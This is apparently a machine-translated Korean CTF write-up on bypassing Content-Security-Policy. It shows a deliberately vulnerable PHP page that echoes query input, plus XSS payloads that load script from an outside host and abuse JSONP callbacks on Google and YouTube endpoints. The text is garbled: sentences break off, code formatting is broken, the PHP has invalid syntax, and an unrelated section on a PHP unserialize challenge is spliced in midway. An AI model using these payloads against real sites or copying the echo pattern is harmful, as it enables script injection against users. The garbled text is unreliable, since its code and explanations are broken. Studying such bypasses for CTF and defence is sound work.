CSP 우회 CTF 문제 정리


맛있는 쿠키

1. 업로드 기능으로 우회

다음과 같이 서버에 CSP가 적용되었다고 가정해 봅시다.

script-src 지시문은 self 및 임의의 nonce 값으로 설정됩니다.

즉, `와 같은 페이로드`nonce` 값이 없기 때문에 `는 실행되지 않습니다.

<?php
    $nonce = base64_encode(sha1(RandomString()));
    $CSP = array(
        "default-src 'self'",
        "script-src 'self' 'nonce-$nonce'"
    );
    header("Content-Security-Policy: " . join("; ", $CSP));

    echo $_GET("data");
?>

이 문제를 해결하려면 “self”를 사용하십시오. js 파일을 서버에 업로드할 수 있는지 또는 사용자가 입력한 값을 출력하는 페이지가 있는지 이를 우회하는 데 사용할 수 있습니다.

따라서 바이패스 페이로드는 다음과 같습니다.

http://localhost:8080/test.php?data=<script src="http://lactea.kr/ping?pong=alert(document.domain)"></script>

2. JSONP API로 우회

CSP가 JSONP를 지원하는 오리진을 지정하면 다음 오리진에서 사용할 수 있다.

2-1 account.google.com

CSP가 다음과 같이 설정되어 있다고 가정해 보겠습니다.

script-src self accounts.google.com

accounts.google.com 원본은 다음 JSONP를 지원합니다.

“callback” 매개변수에 “alert(1);”를 입력하면 아래 스크린샷과 같은 응답을 받게 됩니다.


따라서 이것을 사용하여 다음 페이로드로 xss를 트리거할 수 있습니다.

/test.php?data=<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>

2.2 youtube.com

CSP가 다음과 같이 설정되어 있다고 가정해 보겠습니다.

script-src self youtube.com

youtube.com 호스트만 허용됩니다.
JSONP를 사용하는 XSS에서도 가능합니다.

다음 링크에서 관련 문제를 찾을 수 있습니다.

hacktm ctf 2023 설명

1. (웹)블로그 쿠키 값은 `unserialized()`입니다.
취약계층을 찾기 위해 사용해보니 Profile계열이 눈에 들어왔다.
`file_get_contents()` 함수는 멤버 변수 `$this->picture_path`의 값을 통해 파일을 읽습니다.

lactea.kr

<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=alert(1)></script>

첨가되는